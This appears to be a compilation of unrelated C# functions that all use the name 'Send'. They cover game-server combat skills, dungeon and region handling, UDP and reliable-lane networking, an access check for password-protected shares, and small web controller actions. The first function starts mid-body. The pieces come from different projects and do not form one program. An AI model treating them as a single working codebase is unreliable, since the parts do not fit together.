critSkill.Info.Rank > SkillRank.Novice) { var critChance = Math2.Clamp(0, 30, attacker.GetTotalCritChance(0)); if (rnd.NextDouble() * 100 < critChance) { crit = true; } } foreach (var target in targets) { var tAction = new TargetAction(CombatActionType.TakeHit, target, attacker, SkillId.CombatMastery); tAction.Set(TargetOptions.None); tAction.AttackerSkillId = skill.Info.Id; cap.Add(tAction); var damage = attacker.GetRndMagicDamage(skill, skill.RankData.Var1, skill.RankData.Var2); // Add damage if the skill is fully charged var dmgMultiplier = skill.RankData.Var4 / 100f; if (attacker.Temp.LightningRodFullCharge) { damage += (damage * dmgMultiplier); } // Critical Hit if (crit) { CriticalHit.Handle(attacker, 100, ref damage, tAction); } // Handle skills and reductions SkillHelper.HandleMagicDefenseProtection(target, ref damage); SkillHelper.HandleConditions(attacker, target, ref damage); var delayReduction = ManaDeflector.Handle(attacker, target, ref damage, tAction); ManaShield.Handle(target, ref damage, tAction); // Apply Damage target.TakeDamage(tAction.Damage = damage, attacker); // Stun Time tAction.Stun = TargetStun; // Death or Knockback if (target.IsDead) { tAction.Set(TargetOptions.FinishingKnockDown); attacker.Shove(target, KnockbackDistance); } else { // Always knock down if (target.Is(RaceStands.KnockDownable)) { tAction.Set(TargetOptions.KnockDown); attacker.Shove(target, KnockbackDistance); } } } // Update current weapon SkillHelper.UpdateWeapon(attacker, targets.FirstOrDefault(), ProficiencyGainType.Melee, attacker.RightHand); cap.Handle(); Send.Effect(attacker, Effect.LightningRod, LightningRodEffect.Attack, targetPropPos.X, targetPropPos.Y); Send.SkillUse(attacker, skill.Info.Id, targetAreaId, 0, 1); skill.Train(1); // Use the Skill attacker.Region.RemoveProp(lProp); }
public bool SendHandlers(object message) { var send = message as Send; if (send != null && HasWritePending) { if (Udp.Setting.TraceLogging) { _log.Debug("Dropping write because queue is full"); } Sender.Tell(new CommandFailed(send)); return(true); } if (send != null) { if (send.HasData) { _pendingSend = send; _pendingCommander = Sender; var e = Udp.SocketEventArgsPool.Acquire(Self); var dns = send.Target as DnsEndPoint; if (dns != null) { var resolved = Dns.ResolveName(dns.Host, Context.System, Self); if (resolved != null) { try { _pendingSend = new Send(_pendingSend.Payload, new IPEndPoint(resolved.Addr, dns.Port), _pendingSend.Ack); DoSend(e); } catch (Exception ex) { Sender.Tell(new CommandFailed(send)); _log.Debug("Failure while sending UDP datagram to remote address [{0}]: {1}", send.Target, ex); _retriedSend = false; _pendingSend = null; _pendingCommander = null; } } } else { DoSend(e); } } else { if (send.WantsAck) { Sender.Tell(send.Ack); } } return(true); } if (message is SocketSent) { var sent = (SocketSent)message; if (sent.EventArgs.SocketError == SocketError.Success) { if (Udp.Setting.TraceLogging) { _log.Debug("Wrote [{0}] bytes to channel", sent.EventArgs.BytesTransferred); } var nextSend = _pendingSend.Advance(); if (nextSend.HasData) { Self.Tell(nextSend); } else { if (_pendingSend.WantsAck) { _pendingCommander.Tell(_pendingSend.Ack); } _retriedSend = false; _pendingSend = null; _pendingCommander = null; } } else { if (_retriedSend) { _pendingCommander.Tell(new CommandFailed(_pendingSend)); _retriedSend = false; _pendingSend = null; _pendingCommander = null; } else { DoSend(sent.EventArgs); _retriedSend = true; } } return(true); } return(false); }
/// <summary> /// Bolt specific use code. /// </summary> /// <param name="attacker"></param> /// <param name="skill"></param> /// <param name="target"></param> protected override void UseSkillOnTarget(Creature attacker, Skill skill, Creature target) { attacker.StopMove(); target.StopMove(); // Create actions var aAction = new AttackerAction(CombatActionType.RangeHit, attacker, target.EntityId); aAction.Set(AttackerOptions.Result); var tAction = new TargetAction(CombatActionType.TakeHit, target, attacker, skill.Info.Id); tAction.Set(TargetOptions.Result); tAction.Stun = TargetStun; var cap = new CombatActionPack(attacker, skill.Info.Id, aAction, tAction); // Damage var damage = this.GetDamage(attacker, skill); // Elements damage *= this.GetElementalDamageMultiplier(attacker, target); // Critical Hit var critChance = attacker.GetTotalCritChance(target.Protection, true); CriticalHit.Handle(attacker, critChance, ref damage, tAction); // Reduce damage Defense.Handle(aAction, tAction, ref damage); SkillHelper.HandleMagicDefenseProtection(target, ref damage); SkillHelper.HandleConditions(attacker, target, ref damage); ManaShield.Handle(target, ref damage, tAction); // Mana Deflector var mdResult = ManaDeflector.Handle(attacker, target, ref damage, tAction); var delayReduction = mdResult.DelayReduction; var pinged = mdResult.Pinged; // Deal damage if (damage > 0) { target.TakeDamage(tAction.Damage = damage, attacker); } target.Aggro(attacker); // Knock down on deadly if (target.Conditions.Has(ConditionsA.Deadly)) { tAction.Set(TargetOptions.KnockDown); tAction.Stun = TargetStun; } // Reduce stun, based on ping if (pinged && delayReduction > 0) { tAction.Stun = (short)Math.Max(0, tAction.Stun - (tAction.Stun / 100 * delayReduction)); } // Death/Knockback if (target.IsDead) { tAction.Set(TargetOptions.FinishingKnockDown); } else { // If knocked down, instant recovery, // if repeat hit, knock down, // otherwise potential knock back. if (target.IsKnockedDown) { tAction.Stun = 0; } else if (target.Stability < MinStability) { tAction.Set(TargetOptions.KnockDown); } else { var stabilityReduction = StabilityReduction; // Reduce reduction, based on ping // While the Wiki says that "the Knockdown Gauge [does not] // build up", tests show that it does. However, it's // reduced, assumedly based on the MD rank. if (delayReduction > 0) { stabilityReduction = (short)Math.Max(0, stabilityReduction - (stabilityReduction / 100 * delayReduction)); } target.Stability -= stabilityReduction; if (target.IsUnstable) { tAction.Set(TargetOptions.KnockBack); } } } if (tAction.IsKnockBack) { attacker.Shove(target, KnockbackDistance); } // Override stun set by defense aAction.Stun = AttackerStun; Send.Effect(attacker, Effect.UseMagic, EffectSkillName); Send.SkillUseStun(attacker, skill.Info.Id, aAction.Stun, 1); skill.Stacks--; // Update current weapon SkillHelper.UpdateWeapon(attacker, target, ProficiencyGainType.Melee, attacker.RightHand); cap.Handle(); }
/// <summary> /// Change finishing rule. /// </summary> /// <param name="rule"></param> public void ChangeFinish(PartyFinishRule rule) { this.Finish = rule; Send.PartyFinishUpdate(this); }
/// <summary> /// Checks if creature is able to enter a dungeon with the given item, /// at his current position, if so, a dungeon is created and the /// party is moved inside. /// </summary> /// <param name="creature"></param> /// <param name="item"></param> /// <returns></returns> public bool CheckDrop(Creature creature, Item item) { var currentRegionId = creature.RegionId; if (!_entryRegionIds.Contains(currentRegionId)) { return(false); } var pos = creature.GetPosition(); var clientEvent = creature.Region.GetClientEvent(a => a.Data.IsAltar); if (clientEvent == null) { Log.Warning("DungeonManager.CheckDrop: No altar found."); return(false); } if (!clientEvent.IsInside(pos.X, pos.Y)) { // Tell player to step on altar? return(false); } var parameter = clientEvent.Data.Parameters.FirstOrDefault(a => a.EventType == EventType.Altar); if (parameter == null || parameter.XML == null || parameter.XML.Attribute("dungeonname") == null) { Log.Warning("DungeonManager.CheckDrop: No dungeon name found in altar event '{0:X16}'.", clientEvent.EntityId); return(false); } var dungeonName = parameter.XML.Attribute("dungeonname").Value.ToLower(); // Check script var dungeonScript = ChannelServer.Instance.ScriptManager.DungeonScripts.Get(dungeonName); if (dungeonScript == null) { Send.ServerMessage(creature, "This dungeon hasn't been added yet."); Log.Warning("DungeonManager.CheckDrop: No routing dungeon script found for '{0}'.", dungeonName); return(false); } // Check route if (!dungeonScript.Route(creature, item, ref dungeonName)) { // The response in case of a fail is handled by the router. return(false); } // Check party if (creature.IsInParty && creature.Party.Leader != creature) { // Unofficial Send.Notice(creature, Localization.Get("Only the leader may create the dungeon.")); return(false); } return(this.CreateDungeonAndWarp(dungeonName, item.Info.Id, creature)); }
public Mix(string baseAddress) { _baseAddress = baseAddress + "mix/"; Send = new Send(_baseAddress); }
public void SkillReady(ChannelClient client, Packet packet) { var skillId = (SkillId)packet.GetUShort(); var creature = client.GetCreatureSafe(packet.Id); var skill = creature.Skills.GetSafe(skillId); var handler = ChannelServer.Instance.SkillManager.GetHandler <IReadyable>(skillId); if (handler == null) { Log.Unimplemented("SkillReady: Skill handler or interface for '{0}'.", skillId); Send.ServerMessage(creature, Localization.Get("This skill isn't implemented yet.")); // Cancel? return; } // Can only ready prepared skills if (skill.State != SkillState.Prepared) { Log.Error("SkillReady: Skill '{0}' wasn't prepared first.", skillId); Send.ServerMessage(creature, Localization.Get("Error: Skill wasn't prepared.")); // Cancel? return; } // Check if cast is over if (skill.CastEnd > DateTime.Now) { // Only an error for now, unsure if this could happen accidentally. Log.Error("SkillReady: Skill '{0}' wasn't fully casted yet.", skillId); Send.ServerMessage(creature, Localization.Get("Error: Skill wasn't fully casted yet.")); // Cancel? return; } try { creature.Unlock(Locks.All); creature.Lock(Locks.ChangeEquipment | Locks.UseItem | Locks.Attack | Locks.TalkToNpc | Locks.Gesture); creature.Lock(skill.Data.ReadyLock); creature.Unlock(skill.Data.ReadyUnlock); var success = handler.Ready(creature, skill, packet); if (!success) { creature.Unlock(Locks.All); // Cancel? return; } // Constant Mana/Stamina reduction, for the duration // of Ready. Example: Counterattack if (skill.RankData.ManaWait != 0) { creature.Regens.Add("ActiveSkillWait", Stat.Mana, creature.GetAdjustedManaCost(skill.RankData.ManaWait), creature.ManaMax); } if (skill.RankData.StaminaWait != 0) { creature.Regens.Add("ActiveSkillWait", Stat.Stamina, skill.RankData.StaminaWait, creature.StaminaMax); } skill.State = SkillState.Ready; } catch (NotImplementedException) { creature.Unlock(Locks.All); Log.Unimplemented("SkillReady: Skill ready method for '{0}'.", skillId); Send.ServerMessage(creature, Localization.Get("This skill isn't implemented completely yet.")); // Cancel? } }
// Return if there is more to come. public static bool ProcessLanesSend(LaneSetup setup, Lane[] lanes, DateTime now, Send[] output, out uint numOut) { numOut = 0; for (int i=0;i<lanes.Length;i++) { Lane lane = lanes[i]; int holes = 0; for (int j=0;j<lane.OutCount;j++) { if (lane.Out[j].Source == null) { holes++; continue; } if (lane.Out[j].SendTime <= now) { lane.Stats.SendCount++; lane.Out[j].SendCount++; if (lane.Out[j].SendCount > 1) { lane.Stats.SendResends++; } uint resendMsAdd = lane.Out[j].SendCount * lane.Out[j].SendCount * lane.ResendMs; if (resendMsAdd > 5000) { resendMsAdd = 5000; } lane.Out[j].SendTime = lane.Out[j].SendTime.AddMilliseconds(resendMsAdd); Bitstream.Buffer tmp = setup.Factory.GetBuffer(setup.MaxPacketSize); tmp.bytepos = setup.ReservedHeaderBytes; Bitstream.PutBits(tmp, 1, lane.Out[j].Reliable ? 1u : 0u); Bitstream.PutCompressedUint(tmp, lane.Out[j].SeqId); if (lane.Out[j].Reliable) { Bitstream.PutBits(tmp, 1, lane.Out[j].IsFinalPiece ? 1u : 0u); // flush out a max number of acks or all. int wrote = 0; for (int k=0;k<lane.AckCount && k < 4;k++) { Bitstream.PutCompressedUint(tmp, lane.Acks[k]); wrote++; } Bitstream.PutCompressedUint(tmp, 0); for (int k=0;k<(int)lane.AckCount - wrote;k++) { lane.Acks[k] = lane.Acks[k + wrote]; } lane.AckCount = (ushort)(lane.AckCount - wrote); } Bitstream.SyncByte(tmp); uint begin = lane.Out[j].Begin; uint end = lane.Out[j].End; uint ofs = tmp.bytepos; byte[] src = lane.Out[j].Source.buf; byte[] dst = tmp.buf; for (uint k=begin;k!=end;k++) { dst[ofs++] = src[k]; } tmp.bytepos = 0; tmp.bitpos = 0; tmp.bytesize = ofs; tmp.bitsize = 0; output[numOut].Data = tmp; output[numOut].Lane = lane; lane.Stats.SendBytes += ofs; if (++numOut == output.Length) { return true; } } } if (holes > 0 && holes >= lane.OutCount / 4) { ushort write = 0; for (uint j=0;j<lane.OutCount;j++) { if (lane.Out[j].Source != null) { if (write != j) { lane.Out[write] = lane.Out[j]; } ++write; } } lane.OutCount = write; } } // Unsent acks for (int i=0;i<lanes.Length;i++) { Lane lane = lanes[i]; if (lane.AckCount > 0) { Bitstream.Buffer tmp = setup.Factory.GetBuffer(setup.MaxPacketSize); tmp.bytepos = setup.ReservedHeaderBytes; Bitstream.PutBits(tmp, 1, 1); // reliable Bitstream.PutCompressedUint(tmp, 0); // ack only Bitstream.PutBits(tmp, 1, 1); // final for (int k=0;k<lane.AckCount;k++) { Bitstream.PutCompressedUint(tmp, lane.Acks[k]); } Bitstream.PutCompressedUint(tmp, 0); lane.AckCount = 0; Bitstream.SyncByte(tmp); tmp.Flip(); output[numOut].Data = tmp; output[numOut].Lane = lane; lane.Stats.SendCount++; lane.Stats.SendAckOnly++; lane.Stats.SendBytes += tmp.bytesize; if (++numOut == output.Length) { return true; } } } return false; }
public void SkillComplete(ChannelClient client, Packet packet) { var skillId = (SkillId)packet.GetUShort(); var creature = client.GetCreatureSafe(packet.Id); var skill = creature.Skills.GetSafe(skillId); var handler = ChannelServer.Instance.SkillManager.GetHandler <ICompletable>(skillId); if (handler == null) { Log.Unimplemented("SkillComplete: Skill handler or interface for '{0}'.", skillId); Send.ServerMessage(creature, Localization.Get("This skill isn't implemented yet.")); // Cancel? goto L_End; } try { // Some (un)locks for Complete in the db don't make sense // under the assumption that everything is unlocked each state. // Either the devs didn't know how all this worked anymore // or there might be locks that aren't lifted between Prepare // and Complete, which would make sense. // And why is anything locked in Complete, when it has // to be unlocked right after the handler call anyway? // There are 16 non-G1 skills that (un)lock something on complete // though, ignore for now and keep researching. creature.Unlock(Locks.All); creature.Lock(Locks.ChangeEquipment | Locks.Attack); creature.Lock(skill.Data.CompleteLock); creature.Unlock(skill.Data.CompleteLock); handler.Complete(creature, skill, packet); ChannelServer.Instance.Events.OnPlayerUsedSkill(creature, skill); } catch (NotImplementedException) { creature.Unlock(Locks.All); Log.Unimplemented("SkillComplete: Skill complete method for '{0}'.", skillId); Send.ServerMessage(creature, Localization.Get("This skill isn't implemented completely yet.")); // Cancel? } L_End: if (skill.Stacks == 0) { // Reset active skill if all stacks are used up creature.Skills.ActiveSkill = null; skill.State = SkillState.Completed; if (skill.RankData.CoolDown != 0) { // Reset cooldown in old combat system, if the skill has a // "new-system-cooldown". That check is important, // there were cooldowns in the old system, like for FH, // but they didn't use the CoolDown field. if (!AuraData.FeaturesDb.IsEnabled("CombatSystemRenewal")) { Send.ResetCooldown(creature, skill.Info.Id); } // else TODO: Set skill's cooldown for security reasons. } // Unlock everything once we're done? creature.Unlock(Locks.All); } else if (skill.State != SkillState.Canceled) { // Ready again if it wasn't canceled and it has stacks left // (e.g. Final Hit is canceled if you attack a countering enemy) Send.SkillReady(creature, skill.Info.Id); skill.State = SkillState.Ready; // We're basically going back into ready, use its locks? creature.Unlock(Locks.All); creature.Lock(Locks.ChangeEquipment | Locks.UseItem | Locks.Attack | Locks.TalkToNpc | Locks.Gesture); creature.Lock(skill.Data.ReadyLock); creature.Unlock(skill.Data.ReadyUnlock); } }
public ActionResult Add(Send model) { _service.Add(model); return Json("T"); }
/// <summary> /// Changes exp sharing rule. /// </summary> /// <param name="rule"></param> public void ChangeExp(PartyExpSharing rule) { this.ExpRule = rule; Send.PartyExpUpdate(this); }
public void EnterRegionRequest(ChannelClient client, Packet packet) { var creature = client.GetCreatureSafe(packet.Id); var firstSpawn = (creature.Region == Region.Limbo); var regionId = creature.WarpLocation.RegionId; // Check permission // This can happen from time to time, client lag? if (!creature.Warping) { Log.Warning("Unauthorized warp attemp from '{0}'.", creature.Name); return; } creature.Warping = false; // Get region var region = ChannelServer.Instance.World.GetRegion(regionId); if (region == null) { Log.Warning("Player '{0}' tried to enter unknown region '{1}'.", creature.Name, regionId); return; } // Characters that spawned at least once need to be saved. var playerCreature = creature as PlayerCreature; if (playerCreature != null) { playerCreature.Save = true; } // Remove creature from previous region. if (creature.Region != Region.Limbo) { creature.Region.RemoveCreature(creature); } // Add to region creature.SetLocation(creature.WarpLocation); region.AddCreature(creature); // Unlock and warp creature.Unlock(Locks.Default, true); if (firstSpawn) { Send.EnterRegionRequestR(client, creature); } else { Send.WarpRegion(creature); } // Activate AIs around spawn var pos = creature.GetPosition(); creature.Region.ActivateAis(creature, pos, pos); // Warp pets and other creatures as well foreach (var cr in client.Creatures.Values.Where(a => a.RegionId != creature.RegionId)) { cr.Warp(creature.RegionId, pos.X, pos.Y); } // Automatically done by the world update //Send.EntitiesAppear(client, region.GetEntitiesInRange(creature)); }
private Akka.Cluster.PubSub.Serializers.Proto.Send SendToProto(Send send) { return Akka.Cluster.PubSub.Serializers.Proto.Send.CreateBuilder() .SetPath(send.Path) .SetLocalAffinity(send.LocalAffinity) .SetPayload(PayloadToProto(send.Message)) .Build(); }
public override void OnReceiveDrawChart(object sender, SendConsecutive e) { Send?.Invoke(this, new SendSecuritiesAPI(e.Date)); }
/// <summary> /// Handles usage of the skill. /// </summary> /// <param name="attacker"></param> /// <param name="target"></param> public void Use(Creature attacker, Creature target) { // Updating unlock because of the updating lock for pre-renovation // Has to be done here because we can't have an updating unlock // after the combat action, it resets the stun. if (!AuraData.FeaturesDb.IsEnabled("TalentRenovationCloseCombat")) { attacker.Unlock(Locks.Move, true); } var skill = attacker.Skills.Get(SkillId.Counterattack); var aAction = new AttackerAction(CombatActionType.RangeHit, attacker, target.EntityId); aAction.Options |= AttackerOptions.Result | AttackerOptions.KnockBackHit2; var tAction = new TargetAction(CombatActionType.CounteredHit2, target, attacker, skill.Info.Id); tAction.Options |= TargetOptions.Result | TargetOptions.Smash; var cap = new CombatActionPack(attacker, skill.Info.Id); cap.Add(aAction, tAction); var damage = (attacker.GetRndTotalDamage() * (skill.RankData.Var2 / 100f)) + (target.GetRndTotalDamage() * (skill.RankData.Var1 / 100f)); // Elementals damage *= attacker.CalculateElementalDamageMultiplier(target); // Critical Hit var critChance = attacker.GetTotalCritChance(target.Protection) + skill.RankData.Var3; CriticalHit.Handle(attacker, critChance, ref damage, tAction, true); // Subtract target def/prot SkillHelper.HandleDefenseProtection(target, ref damage, true, true); // Conditions SkillHelper.HandleConditions(attacker, target, ref damage); // Mana Shield ManaShield.Handle(target, ref damage, tAction); // Heavy Stander HeavyStander.Handle(attacker, target, ref damage, tAction); // Deal with it! if (damage > 0) { target.TakeDamage(tAction.Damage = damage, attacker); SkillHelper.HandleInjury(attacker, target, damage); } target.Aggro(attacker); if (target.IsDead) { tAction.Options |= TargetOptions.FinishingKnockDown; } aAction.Stun = StunTime; tAction.Stun = StunTime; target.Stability = Creature.MinStability; attacker.Shove(target, KnockbackDistance); // Update both weapons SkillHelper.UpdateWeapon(attacker, target, ProficiencyGainType.Melee, attacker.RightHand, attacker.LeftHand); Send.SkillUseStun(attacker, skill.Info.Id, StunTime, 1); this.Training(aAction, tAction); cap.Handle(); }
public (bool grant, bool passwordRequiredError, bool passwordInvalidError) SendCanBeAccessed(Send send, string password) { var now = DateTime.UtcNow; if (send == null || send.MaxAccessCount.GetValueOrDefault(int.MaxValue) <= send.AccessCount || send.ExpirationDate.GetValueOrDefault(DateTime.MaxValue) < now || send.Disabled || send.DeletionDate < now) { return(false, false, false); } if (!string.IsNullOrWhiteSpace(send.Password)) { if (string.IsNullOrWhiteSpace(password)) { return(false, true, false); } var passwordResult = _passwordHasher.VerifyHashedPassword(new User(), send.Password, password); if (passwordResult == PasswordVerificationResult.SuccessRehashNeeded) { send.Password = HashPassword(password); } if (passwordResult == PasswordVerificationResult.Failed) { return(false, false, true); } } return(true, false, false); }
public ActionResult Edit(Send model) { _service.Edit(model); return Json("T"); }
public void RunSend (Send sendDelegate, IMessage msg) { lock (syncObj) { sendDelegate (ref host, ref cn, ref model, msg, Id); } }